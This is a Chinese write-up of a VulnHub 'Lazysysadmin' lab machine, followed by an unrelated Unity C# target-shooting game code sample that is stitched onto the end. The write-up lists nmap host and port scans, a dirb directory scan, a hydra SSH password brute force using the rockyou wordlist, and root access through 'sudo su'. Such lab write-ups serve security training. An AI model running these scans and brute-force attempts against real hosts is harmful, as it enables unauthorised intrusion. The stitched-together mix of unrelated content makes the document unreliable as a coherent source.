Lazysysadmin打靶渗透【附代码】(权限提升)

靶机下载地址:https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zipicon-default.png?t=N7T8https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip

1. 主机发现+端口扫描+目录扫描+敏感信息获取

1.1. 主机发现

nmap -sn 192.168.43.0/24|grep -B 2 '08:00:27:94:96:64'

1.2. 端口扫描

nmap -p- 192.168.43.221

1.3. 目录扫描

dirb http://192.168.43.221

1.4. 敏感信息收集

2. WEB打点寻找漏洞点

2.1. 访问80端口

1.逐个拼接扫描到的目录,/robots.txt -> 逐个拼接/robots.txt的内容 ->【无用】

2.拼接/phpmyadmin/ -> 尝试万能密码绕过和弱密码爆破 -> 【无果】

3.拼接/wordpress,查看页面信息???用户名是togie吗?

2.2. 破解账号密码

1.已知用户可能为【togie】用hydra,爆破ssh密码 -> 账号密码【togie:12345】

cd /usr/share/wordlists
ls -al
gunzip rockyou.txt.gz #解压字典
hydra -l togie -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.221

2.尝试连接ssh,

ssh togie@192.168.43.221

3. 权限提升

老规矩,查看用户权限 -> 显示all ->尝试直接提权 ->成功

sudo -l
sudo su

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以下是一个简单的Unity打靶游戏的设计代码示例,包括靶、武器、子弹、得分等要素: ```csharp using UnityEngine; using UnityEngine.UI; using System.Collections; public class ShootingGame : MonoBehaviour { public GameObject targetPrefab; // 靶的预制体 public Transform targetSpawnPoint; // 靶的生成点 public GameObject weapon; // 武器模型 public GameObject bulletPrefab; // 子弹预制体 public Transform bulletSpawnPoint; // 子弹发射点 public float bulletSpeed = 10f; // 子弹速度 public Text scoreText; // 显示分数的文本框 public int scorePerHit = 10; // 每次击中靶的得分 private int score = 0; // 当前得分 private bool gameStarted = false; // 游戏是否已经开始 void Start () { SpawnTarget (); // 生成第一个靶 } void Update () { if (Input.GetMouseButtonDown (0) && gameStarted) { // 鼠标左键按下,且游戏开始 Shoot (); // 射击 } } void SpawnTarget () { GameObject newTarget = Instantiate (targetPrefab, targetSpawnPoint.position, Quaternion.identity) as GameObject; // 生成新的靶 newTarget.GetComponent<Target> ().shootingGame = this; // 给靶设置ShootingGame脚本的引用 } void Shoot () { GameObject newBullet = Instantiate (bulletPrefab, bulletSpawnPoint.position, bulletSpawnPoint.rotation) as GameObject; // 生成新的子弹 Rigidbody rb = newBullet.GetComponent<Rigidbody> (); rb.velocity = weapon.transform.forward * bulletSpeed; // 给子弹添加速度 Destroy (newBullet, 3f); // 3秒后自动销毁子弹 } public void HitTarget () { score += scorePerHit; // 得分增加 scoreText.text = "Score: " + score.ToString (); // 更新分数文本框的显示 SpawnTarget (); // 生成新的靶 } public void StartGame () { gameStarted = true; // 标记游戏已经开始 } } ``` 其中,`Target`脚本是靶的控制脚本,用于检测是否被击中: ```csharp using UnityEngine; public class Target : MonoBehaviour { public ShootingGame shootingGame; // ShootingGame脚本的引用 void OnCollisionEnter (Collision col) { if (col.gameObject.tag == "Bullet") { // 如果被子弹击中 Destroy (gameObject); // 销毁靶 shootingGame.HitTarget (); // 通知ShootingGame脚本得分增加 } } } ``` 以上代码只是一个简单的示例,你可以根据自己的需求和技能对代码进行更复杂的设计和开发。
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